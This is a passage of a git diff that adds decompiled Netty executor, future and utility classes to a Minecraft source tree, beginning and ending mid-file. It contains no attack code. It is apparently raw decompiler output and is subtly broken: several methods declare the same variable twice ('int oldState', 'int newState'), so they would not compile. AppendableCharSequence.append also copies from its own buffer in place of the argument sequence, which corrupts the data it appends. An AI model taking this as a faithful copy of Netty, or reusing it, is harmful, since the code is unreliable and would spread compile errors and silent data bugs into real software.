+        } finally {
+          for (;;) { int oldState;
+            int oldState = SingleThreadEventExecutor.STATE_UPDATER.get(SingleThreadEventExecutor.this);
+            if ((oldState >= 3) || (SingleThreadEventExecutor.STATE_UPDATER.compareAndSet(SingleThreadEventExecutor.this, oldState, 3))) {
+              break;
+            }
+          }
+          
+
+          if ((success) && (gracefulShutdownStartTime == 0L)) {
+            SingleThreadEventExecutor.logger.error("Buggy " + EventExecutor.class.getSimpleName() + " implementation; " + SingleThreadEventExecutor.class.getSimpleName() + ".confirmShutdown() must be called " + "before run() implementation terminates.");
+          }
+          
+
+
+          try
+          {
+            for (;;)
+            {
+              if (confirmShutdown()) {
+                break;
+              }
+            }
+          } finally {
+            try {
+              cleanup();
+            } finally {
+              SingleThreadEventExecutor.STATE_UPDATER.set(SingleThreadEventExecutor.this, 5);
+              threadLock.release();
+              if (!taskQueue.isEmpty()) {
+                SingleThreadEventExecutor.logger.warn("An event executor terminated with non-empty task queue (" + taskQueue.size() + ')');
+              }
+              
+
+
+              terminationFuture.setSuccess(null);
+            }
+            
+          }
+        }
+      }
+    });
+    taskQueue = newTaskQueue();
+  }
+  
+
+
+
+
+
+  protected Queue<Runnable> newTaskQueue()
+  {
+    return new LinkedBlockingQueue();
+  }
+  
+  public EventExecutorGroup parent()
+  {
+    return parent;
+  }
+  
+
+
+  protected void interruptThread()
+  {
+    thread.interrupt();
+  }
+  
+
+
+  protected Runnable pollTask()
+  {
+    assert (inEventLoop());
+    Runnable task;
+    do { task = (Runnable)taskQueue.poll();
+    } while (task == WAKEUP_TASK);
+    
+
+    return task;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected Runnable takeTask()
+  {
+    assert (inEventLoop());
+    if (!(this.taskQueue instanceof BlockingQueue)) {
+      throw new UnsupportedOperationException();
+    }
+    
+    BlockingQueue<Runnable> taskQueue = (BlockingQueue)this.taskQueue;
+    for (;;) {
+      ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+      if (delayedTask == null) {
+        Runnable task = null;
+        try {
+          task = (Runnable)taskQueue.take();
+          if (task == WAKEUP_TASK) {
+            task = null;
+          }
+        }
+        catch (InterruptedException e) {}
+        
+        return task;
+      }
+      long delayNanos = delayedTask.delayNanos();
+      Runnable task = null;
+      if (delayNanos > 0L) {
+        try {
+          task = (Runnable)taskQueue.poll(delayNanos, TimeUnit.NANOSECONDS);
+        } catch (InterruptedException e) {
+          return null;
+        }
+      }
+      if (task == null)
+      {
+
+
+
+        fetchFromDelayedQueue();
+        task = (Runnable)taskQueue.poll();
+      }
+      
+      if (task != null) {
+        return task;
+      }
+    }
+  }
+  
+  private void fetchFromDelayedQueue()
+  {
+    long nanoTime = 0L;
+    for (;;) {
+      ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+      if (delayedTask == null) {
+        break;
+      }
+      
+      if (nanoTime == 0L) {
+        nanoTime = ScheduledFutureTask.nanoTime();
+      }
+      
+      if (delayedTask.deadlineNanos() > nanoTime) break;
+      delayedTaskQueue.remove();
+      taskQueue.add(delayedTask);
+    }
+  }
+  
+
+
+
+
+
+  protected Runnable peekTask()
+  {
+    assert (inEventLoop());
+    return (Runnable)taskQueue.peek();
+  }
+  
+
+
+  protected boolean hasTasks()
+  {
+    assert (inEventLoop());
+    return !taskQueue.isEmpty();
+  }
+  
+
+
+
+  protected boolean hasScheduledTasks()
+  {
+    assert (inEventLoop());
+    ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+    return (delayedTask != null) && (delayedTask.deadlineNanos() <= ScheduledFutureTask.nanoTime());
+  }
+  
+
+
+
+
+
+  public final int pendingTasks()
+  {
+    return taskQueue.size();
+  }
+  
+
+
+
+  protected void addTask(Runnable task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    if (isShutdown()) {
+      reject();
+    }
+    taskQueue.add(task);
+  }
+  
+
+
+  protected boolean removeTask(Runnable task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    return taskQueue.remove(task);
+  }
+  
+
+
+
+
+  protected boolean runAllTasks()
+  {
+    fetchFromDelayedQueue();
+    Runnable task = pollTask();
+    if (task == null) {
+      return false;
+    }
+    do
+    {
+      try {
+        task.run();
+      } catch (Throwable t) {
+        logger.warn("A task raised an exception.", t);
+      }
+      
+      task = pollTask();
+    } while (task != null);
+    lastExecutionTime = ScheduledFutureTask.nanoTime();
+    return true;
+  }
+  
+
+
+
+
+
+  protected boolean runAllTasks(long timeoutNanos)
+  {
+    fetchFromDelayedQueue();
+    Runnable task = pollTask();
+    if (task == null) {
+      return false;
+    }
+    
+    long deadline = ScheduledFutureTask.nanoTime() + timeoutNanos;
+    long runTasks = 0L;
+    do
+    {
+      try {
+        task.run();
+      } catch (Throwable t) {
+        logger.warn("A task raised an exception.", t);
+      }
+      
+      runTasks += 1L;
+      
+
+
+      if ((runTasks & 0x3F) == 0L) {
+        long lastExecutionTime = ScheduledFutureTask.nanoTime();
+        if (lastExecutionTime >= deadline) {
+          break;
+        }
+      }
+      
+      task = pollTask();
+    } while (task != null);
+    long lastExecutionTime = ScheduledFutureTask.nanoTime();
+    
+
+
+
+    this.lastExecutionTime = lastExecutionTime;
+    return true;
+  }
+  
+
+
+  protected long delayNanos(long currentTimeNanos)
+  {
+    ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+    if (delayedTask == null) {
+      return SCHEDULE_PURGE_INTERVAL;
+    }
+    
+    return delayedTask.delayNanos(currentTimeNanos);
+  }
+  
+
+
+
+
+
+
+  protected void updateLastExecutionTime()
+  {
+    lastExecutionTime = ScheduledFutureTask.nanoTime();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected void wakeup(boolean inEventLoop)
+  {
+    if ((!inEventLoop) || (STATE_UPDATER.get(this) == 3)) {
+      taskQueue.add(WAKEUP_TASK);
+    }
+  }
+  
+  public boolean inEventLoop(Thread thread)
+  {
+    return thread == this.thread;
+  }
+  
+
+
+  public void addShutdownHook(final Runnable task)
+  {
+    if (inEventLoop()) {
+      shutdownHooks.add(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          shutdownHooks.add(task);
+        }
+      });
+    }
+  }
+  
+
+
+  public void removeShutdownHook(final Runnable task)
+  {
+    if (inEventLoop()) {
+      shutdownHooks.remove(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          shutdownHooks.remove(task);
+        }
+      });
+    }
+  }
+  
+  private boolean runShutdownHooks() {
+    boolean ran = false;
+    
+    while (!shutdownHooks.isEmpty()) {
+      List<Runnable> copy = new ArrayList(shutdownHooks);
+      shutdownHooks.clear();
+      for (Runnable task : copy) {
+        try {
+          task.run();
+        } catch (Throwable t) {
+          logger.warn("Shutdown hook raised an exception.", t);
+        } finally {
+          ran = true;
+        }
+      }
+    }
+    
+    if (ran) {
+      lastExecutionTime = ScheduledFutureTask.nanoTime();
+    }
+    
+    return ran;
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    if (quietPeriod < 0L) {
+      throw new IllegalArgumentException("quietPeriod: " + quietPeriod + " (expected >= 0)");
+    }
+    if (timeout < quietPeriod) {
+      throw new IllegalArgumentException("timeout: " + timeout + " (expected >= quietPeriod (" + quietPeriod + "))");
+    }
+    
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    if (isShuttingDown()) {
+      return terminationFuture();
+    }
+    
+    boolean inEventLoop = inEventLoop();
+    boolean wakeup;
+    int oldState;
+    for (;;) {
+      if (isShuttingDown()) {
+        return terminationFuture();
+      }
+      
+      wakeup = true;
+      oldState = STATE_UPDATER.get(this);
+      int newState; int newState; if (inEventLoop) {
+        newState = 3;
+      } else {
+        switch (oldState) {
+        case 1: 
+        case 2: 
+          newState = 3;
+          break;
+        default: 
+          newState = oldState;
+          wakeup = false;
+        }
+      }
+      if (STATE_UPDATER.compareAndSet(this, oldState, newState)) {
+        break;
+      }
+    }
+    gracefulShutdownQuietPeriod = unit.toNanos(quietPeriod);
+    gracefulShutdownTimeout = unit.toNanos(timeout);
+    
+    if (oldState == 1) {
+      thread.start();
+    }
+    
+    if (wakeup) {
+      wakeup(inEventLoop);
+    }
+    
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+  @Deprecated
+  public void shutdown()
+  {
+    if (isShutdown()) {
+      return;
+    }
+    
+    boolean inEventLoop = inEventLoop();
+    boolean wakeup;
+    int oldState;
+    for (;;) {
+      if (isShuttingDown()) {
+        return;
+      }
+      
+      wakeup = true;
+      oldState = STATE_UPDATER.get(this);
+      int newState; int newState; if (inEventLoop) {
+        newState = 4;
+      } else {
+        switch (oldState) {
+        case 1: 
+        case 2: 
+        case 3: 
+          newState = 4;
+          break;
+        default: 
+          newState = oldState;
+          wakeup = false;
+        }
+      }
+      if (STATE_UPDATER.compareAndSet(this, oldState, newState)) {
+        break;
+      }
+    }
+    
+    if (oldState == 1) {
+      thread.start();
+    }
+    
+    if (wakeup) {
+      wakeup(inEventLoop);
+    }
+  }
+  
+  public boolean isShuttingDown()
+  {
+    return STATE_UPDATER.get(this) >= 3;
+  }
+  
+  public boolean isShutdown()
+  {
+    return STATE_UPDATER.get(this) >= 4;
+  }
+  
+  public boolean isTerminated()
+  {
+    return STATE_UPDATER.get(this) == 5;
+  }
+  
+
+
+  protected boolean confirmShutdown()
+  {
+    if (!isShuttingDown()) {
+      return false;
+    }
+    
+    if (!inEventLoop()) {
+      throw new IllegalStateException("must be invoked from an event loop");
+    }
+    
+    cancelDelayedTasks();
+    
+    if (gracefulShutdownStartTime == 0L) {
+      gracefulShutdownStartTime = ScheduledFutureTask.nanoTime();
+    }
+    
+    if ((runAllTasks()) || (runShutdownHooks())) {
+      if (isShutdown())
+      {
+        return true;
+      }
+      
+
+      wakeup(true);
+      return false;
+    }
+    
+    long nanoTime = ScheduledFutureTask.nanoTime();
+    
+    if ((isShutdown()) || (nanoTime - gracefulShutdownStartTime > gracefulShutdownTimeout)) {
+      return true;
+    }
+    
+    if (nanoTime - lastExecutionTime <= gracefulShutdownQuietPeriod)
+    {
+
+      wakeup(true);
+      try {
+        Thread.sleep(100L);
+      }
+      catch (InterruptedException e) {}
+      
+
+      return false;
+    }
+    
+
+
+    return true;
+  }
+  
+  private void cancelDelayedTasks() {
+    if (delayedTaskQueue.isEmpty()) {
+      return;
+    }
+    
+    ScheduledFutureTask<?>[] delayedTasks = (ScheduledFutureTask[])delayedTaskQueue.toArray(new ScheduledFutureTask[delayedTaskQueue.size()]);
+    
+
+    for (ScheduledFutureTask<?> task : delayedTasks) {
+      task.cancel(false);
+    }
+    
+    delayedTaskQueue.clear();
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    if (inEventLoop()) {
+      throw new IllegalStateException("cannot await termination of the current thread");
+    }
+    
+    if (threadLock.tryAcquire(timeout, unit)) {
+      threadLock.release();
+    }
+    
+    return isTerminated();
+  }
+  
+  public void execute(Runnable task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    boolean inEventLoop = inEventLoop();
+    if (inEventLoop) {
+      addTask(task);
+    } else {
+      startThread();
+      addTask(task);
+      if ((isShutdown()) && (removeTask(task))) {
+        reject();
+      }
+    }
+    
+    if ((!addTaskWakesUp) && (wakesUpForTask(task))) {
+      wakeup(inEventLoop);
+    }
+  }
+  
+  protected boolean wakesUpForTask(Runnable task)
+  {
+    return true;
+  }
+  
+  protected static void reject() {
+    throw new RejectedExecutionException("event executor terminated");
+  }
+  
+
+
+  private static final long SCHEDULE_PURGE_INTERVAL = TimeUnit.SECONDS.toNanos(1L);
+  
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, command, null, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    if (callable == null) {
+      throw new NullPointerException("callable");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, callable, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (period <= 0L) {
+      throw new IllegalArgumentException(String.format("period: %d (expected: > 0)", new Object[] { Long.valueOf(period) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), unit.toNanos(period)));
+  }
+  
+
+
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (delay <= 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: > 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), -unit.toNanos(delay)));
+  }
+  
+
+  private <V> ScheduledFuture<V> schedule(final ScheduledFutureTask<V> task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    if (inEventLoop()) {
+      delayedTaskQueue.add(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          delayedTaskQueue.add(task);
+        }
+      });
+    }
+    
+    return task;
+  }
+  
+  private void startThread() {
+    if ((STATE_UPDATER.get(this) == 1) && 
+      (STATE_UPDATER.compareAndSet(this, 1, 2))) {
+      delayedTaskQueue.add(new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(new PurgeTask(null), null), ScheduledFutureTask.deadlineNanos(SCHEDULE_PURGE_INTERVAL), -SCHEDULE_PURGE_INTERVAL));
+      
+
+      thread.start(); } }
+  
+  protected abstract void run();
+  
+  protected void cleanup() {}
+  
+  private final class PurgeTask implements Runnable { private PurgeTask() {}
+    
+    public void run() { Iterator<ScheduledFutureTask<?>> i = delayedTaskQueue.iterator();
+      while (i.hasNext()) {
+        ScheduledFutureTask<?> task = (ScheduledFutureTask)i.next();
+        if (task.isCancelled()) {
+          i.remove();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/SucceededFuture.java b/src/minecraft/io/netty/util/concurrent/SucceededFuture.java
new file mode 100644
index 0000000..9da1f50
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/SucceededFuture.java
@@ -0,0 +1,50 @@
+package io.netty.util.concurrent;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SucceededFuture<V>
+  extends CompleteFuture<V>
+{
+  private final V result;
+  
+
+
+
+
+
+
+
+
+
+
+
+  public SucceededFuture(EventExecutor executor, V result)
+  {
+    super(executor);
+    this.result = result;
+  }
+  
+  public Throwable cause()
+  {
+    return null;
+  }
+  
+  public boolean isSuccess()
+  {
+    return true;
+  }
+  
+  public V getNow()
+  {
+    return result;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ThreadPerTaskExecutor.java b/src/minecraft/io/netty/util/concurrent/ThreadPerTaskExecutor.java
new file mode 100644
index 0000000..57a2a65
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ThreadPerTaskExecutor.java
@@ -0,0 +1,35 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ThreadPerTaskExecutor
+  implements Executor
+{
+  private final ThreadFactory threadFactory;
+  
+  public ThreadPerTaskExecutor(ThreadFactory threadFactory)
+  {
+    if (threadFactory == null) {
+      throw new NullPointerException("threadFactory");
+    }
+    this.threadFactory = threadFactory;
+  }
+  
+  public void execute(Runnable command)
+  {
+    threadFactory.newThread(command).start();
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ThreadProperties.java b/src/minecraft/io/netty/util/concurrent/ThreadProperties.java
new file mode 100644
index 0000000..42ea6b2
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ThreadProperties.java
@@ -0,0 +1,20 @@
+package io.netty.util.concurrent;
+
+public abstract interface ThreadProperties
+{
+  public abstract Thread.State state();
+  
+  public abstract int priority();
+  
+  public abstract boolean isInterrupted();
+  
+  public abstract boolean isDaemon();
+  
+  public abstract String name();
+  
+  public abstract long id();
+  
+  public abstract StackTraceElement[] stackTrace();
+  
+  public abstract boolean isAlive();
+}
diff --git a/src/minecraft/io/netty/util/concurrent/UnaryPromiseNotifier.java b/src/minecraft/io/netty/util/concurrent/UnaryPromiseNotifier.java
new file mode 100644
index 0000000..cd33a74
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/UnaryPromiseNotifier.java
@@ -0,0 +1,49 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnaryPromiseNotifier<T>
+  implements FutureListener<T>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(UnaryPromiseNotifier.class);
+  private final Promise<? super T> promise;
+  
+  public UnaryPromiseNotifier(Promise<? super T> promise) {
+    this.promise = ((Promise)ObjectUtil.checkNotNull(promise, "promise"));
+  }
+  
+  public void operationComplete(Future<T> future) throws Exception
+  {
+    cascadeTo(future, promise);
+  }
+  
+  public static <X> void cascadeTo(Future<X> completedFuture, Promise<? super X> promise) {
+    if (completedFuture.isSuccess()) {
+      if (!promise.trySuccess(completedFuture.getNow())) {
+        logger.warn("Failed to mark a promise as success because it is done already: {}", promise);
+      }
+    } else if (completedFuture.isCancelled()) {
+      if (!promise.cancel(false)) {
+        logger.warn("Failed to cancel a promise because it is done already: {}", promise);
+      }
+    }
+    else if (!promise.tryFailure(completedFuture.cause())) {
+      logger.warn("Failed to mark a promise as failure because it's done already: {}", promise, completedFuture.cause());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/UnorderedThreadPoolEventExecutor.java b/src/minecraft/io/netty/util/concurrent/UnorderedThreadPoolEventExecutor.java
new file mode 100644
index 0000000..6aefc04
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/UnorderedThreadPoolEventExecutor.java
@@ -0,0 +1,251 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Delayed;
+import java.util.concurrent.RejectedExecutionHandler;
+import java.util.concurrent.RunnableScheduledFuture;
+import java.util.concurrent.ScheduledThreadPoolExecutor;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnorderedThreadPoolEventExecutor
+  extends ScheduledThreadPoolExecutor
+  implements EventExecutor
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(UnorderedThreadPoolEventExecutor.class);
+  
+
+  private final Promise<?> terminationFuture = GlobalEventExecutor.INSTANCE.newPromise();
+  private final Set<EventExecutor> executorSet = Collections.singleton(this);
+  
+
+
+
+  public UnorderedThreadPoolEventExecutor(int corePoolSize)
+  {
+    this(corePoolSize, new DefaultThreadFactory(UnorderedThreadPoolEventExecutor.class));
+  }
+  
+
+
+  public UnorderedThreadPoolEventExecutor(int corePoolSize, ThreadFactory threadFactory)
+  {
+    super(corePoolSize, threadFactory);
+  }
+  
+
+
+
+  public UnorderedThreadPoolEventExecutor(int corePoolSize, RejectedExecutionHandler handler)
+  {
+    this(corePoolSize, new DefaultThreadFactory(UnorderedThreadPoolEventExecutor.class), handler);
+  }
+  
+
+
+
+  public UnorderedThreadPoolEventExecutor(int corePoolSize, ThreadFactory threadFactory, RejectedExecutionHandler handler)
+  {
+    super(corePoolSize, threadFactory, handler);
+  }
+  
+  public EventExecutor next()
+  {
+    return this;
+  }
+  
+  public EventExecutorGroup parent()
+  {
+    return this;
+  }
+  
+  public boolean inEventLoop()
+  {
+    return false;
+  }
+  
+  public boolean inEventLoop(Thread thread)
+  {
+    return false;
+  }
+  
+  public <V> Promise<V> newPromise()
+  {
+    return new DefaultPromise(this);
+  }
+  
+  public <V> ProgressivePromise<V> newProgressivePromise()
+  {
+    return new DefaultProgressivePromise(this);
+  }
+  
+  public <V> Future<V> newSucceededFuture(V result)
+  {
+    return new SucceededFuture(this, result);
+  }
+  
+  public <V> Future<V> newFailedFuture(Throwable cause)
+  {
+    return new FailedFuture(this, cause);
+  }
+  
+  public boolean isShuttingDown()
+  {
+    return isShutdown();
+  }
+  
+  public List<Runnable> shutdownNow()
+  {
+    List<Runnable> tasks = super.shutdownNow();
+    terminationFuture.trySuccess(null);
+    return tasks;
+  }
+  
+  public void shutdown()
+  {
+    super.shutdown();
+    terminationFuture.trySuccess(null);
+  }
+  
+  public Future<?> shutdownGracefully()
+  {
+    return shutdownGracefully(2L, 15L, TimeUnit.SECONDS);
+  }
+  
+
+
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    shutdown();
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+  public Iterator<EventExecutor> iterator()
+  {
+    return executorSet.iterator();
+  }
+  
+  protected <V> RunnableScheduledFuture<V> decorateTask(Runnable runnable, RunnableScheduledFuture<V> task)
+  {
+    return new RunnableScheduledFutureTask(this, runnable, task);
+  }
+  
+  protected <V> RunnableScheduledFuture<V> decorateTask(Callable<V> callable, RunnableScheduledFuture<V> task)
+  {
+    return new RunnableScheduledFutureTask(this, callable, task);
+  }
+  
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    return (ScheduledFuture)super.schedule(command, delay, unit);
+  }
+  
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    return (ScheduledFuture)super.schedule(callable, delay, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    return (ScheduledFuture)super.scheduleAtFixedRate(command, initialDelay, period, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    return (ScheduledFuture)super.scheduleWithFixedDelay(command, initialDelay, delay, unit);
+  }
+  
+  public Future<?> submit(Runnable task)
+  {
+    return (Future)super.submit(task);
+  }
+  
+  public <T> Future<T> submit(Runnable task, T result)
+  {
+    return (Future)super.submit(task, result);
+  }
+  
+  public <T> Future<T> submit(Callable<T> task)
+  {
+    return (Future)super.submit(task);
+  }
+  
+  private static final class RunnableScheduledFutureTask<V> extends PromiseTask<V> implements RunnableScheduledFuture<V>, ScheduledFuture<V>
+  {
+    private final RunnableScheduledFuture<V> future;
+    
+    RunnableScheduledFutureTask(EventExecutor executor, Runnable runnable, RunnableScheduledFuture<V> future)
+    {
+      super(runnable, null);
+      this.future = future;
+    }
+    
+    RunnableScheduledFutureTask(EventExecutor executor, Callable<V> callable, RunnableScheduledFuture<V> future)
+    {
+      super(callable);
+      this.future = future;
+    }
+    
+    public void run()
+    {
+      if (!isPeriodic()) {
+        super.run();
+      } else if (!isDone()) {
+        try
+        {
+          task.call();
+        } catch (Throwable cause) {
+          if (!tryFailureInternal(cause)) {
+            UnorderedThreadPoolEventExecutor.logger.warn("Failure during execution of task", cause);
+          }
+        }
+      }
+    }
+    
+    public boolean isPeriodic()
+    {
+      return future.isPeriodic();
+    }
+    
+    public long getDelay(TimeUnit unit)
+    {
+      return future.getDelay(unit);
+    }
+    
+    public int compareTo(Delayed o)
+    {
+      return future.compareTo(o);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/AppendableCharSequence.java b/src/minecraft/io/netty/util/internal/AppendableCharSequence.java
new file mode 100644
index 0000000..8ea1000
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/AppendableCharSequence.java
@@ -0,0 +1,141 @@
+package io.netty.util.internal;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class AppendableCharSequence
+  implements CharSequence, Appendable
+{
+  private char[] chars;
+  private int pos;
+  
+  public AppendableCharSequence(int length)
+  {
+    if (length < 1) {
+      throw new IllegalArgumentException("length: " + length + " (length: >= 1)");
+    }
+    chars = new char[length];
+  }
+  
+  private AppendableCharSequence(char[] chars) {
+    this.chars = chars;
+    pos = chars.length;
+  }
+  
+  public int length()
+  {
+    return pos;
+  }
+  
+  public char charAt(int index)
+  {
+    if (index > pos) {
+      throw new IndexOutOfBoundsException();
+    }
+    return chars[index];
+  }
+  
+  public AppendableCharSequence subSequence(int start, int end)
+  {
+    return new AppendableCharSequence(Arrays.copyOfRange(chars, start, end));
+  }
+  
+  public AppendableCharSequence append(char c)
+  {
+    if (pos == chars.length) {
+      char[] old = chars;
+      
+      int len = old.length << 1;
+      if (len < 0) {
+        throw new IllegalStateException();
+      }
+      chars = new char[len];
+      System.arraycopy(old, 0, chars, 0, old.length);
+    }
+    chars[(pos++)] = c;
+    return this;
+  }
+  
+  public AppendableCharSequence append(CharSequence csq)
+  {
+    return append(csq, 0, csq.length());
+  }
+  
+  public AppendableCharSequence append(CharSequence csq, int start, int end)
+  {
+    if (csq.length() < end) {
+      throw new IndexOutOfBoundsException();
+    }
+    int length = end - start;
+    if (length > chars.length - pos) {
+      chars = expand(chars, pos + length, pos);
+    }
+    if ((csq instanceof AppendableCharSequence))
+    {
+      AppendableCharSequence seq = (AppendableCharSequence)csq;
+      char[] src = chars;
+      System.arraycopy(src, start, chars, pos, length);
+      pos += length;
+      return this;
+    }
+    for (int i = start; i < end; i++) {
+      chars[(pos++)] = csq.charAt(i);
+    }
+    
+    return this;
+  }
+  
+
+
+
+  public void reset()
+  {
+    pos = 0;
+  }
+  
+  public String toString()
+  {
+    return new String(chars, 0, pos);
+  }
+  
+
+
+  public String substring(int start, int end)
+  {
+    int length = end - start;
+    if ((start > pos) || (length > pos)) {
+      throw new IndexOutOfBoundsException();
+    }
+    return new String(chars, start, length);
+  }
+  
+  private static char[] expand(char[] array, int neededSpace, int size) {
+    int newCapacity = array.length;
+    do
+    {
+      newCapacity <<= 1;
+      
+      if (newCapacity < 0) {
+        throw new IllegalStateException();
+      }
+      
+    } while (neededSpace > newCapacity);
+    
+    char[] newArray = new char[newCapacity];
+    System.arraycopy(array, 0, newArray, 0, size);
+    
+    return newArray;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/Cleaner0.java b/src/minecraft/io/netty/util/internal/Cleaner0.java
new file mode 100644
index 0000000..f0c74b6
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/Cleaner0.java
@@ -0,0 +1,71 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import sun.misc.Cleaner;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Cleaner0
+{
+  private static final long CLEANER_FIELD_OFFSET;
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Cleaner0.class);
+  
+  static {
+    ByteBuffer direct = ByteBuffer.allocateDirect(1);
+    
+    long fieldOffset = -1L;
+    if (PlatformDependent0.hasUnsafe()) {
+      try {
+        Field cleanerField = direct.getClass().getDeclaredField("cleaner");
+        cleanerField.setAccessible(true);
+        Cleaner cleaner = (Cleaner)cleanerField.get(direct);
+        cleaner.clean();
+        fieldOffset = PlatformDependent0.objectFieldOffset(cleanerField);
+      }
+      catch (Throwable t) {
+        fieldOffset = -1L;
+      }
+    }
+    logger.debug("java.nio.ByteBuffer.cleaner(): {}", fieldOffset != -1L ? "available" : "unavailable");
+    CLEANER_FIELD_OFFSET = fieldOffset;
+    
+
+    freeDirectBuffer(direct); }
+  
+  private Cleaner0() {}
+  
+  static void freeDirectBuffer(ByteBuffer buffer) { if ((CLEANER_FIELD_OFFSET == -1L) || (!buffer.isDirect())) {
+      return;
+    }
+    try {
+      Cleaner cleaner = (Cleaner)PlatformDependent0.getObject(buffer, CLEANER_FIELD_OFFSET);
+      if (cleaner != null) {
+        cleaner.clean();
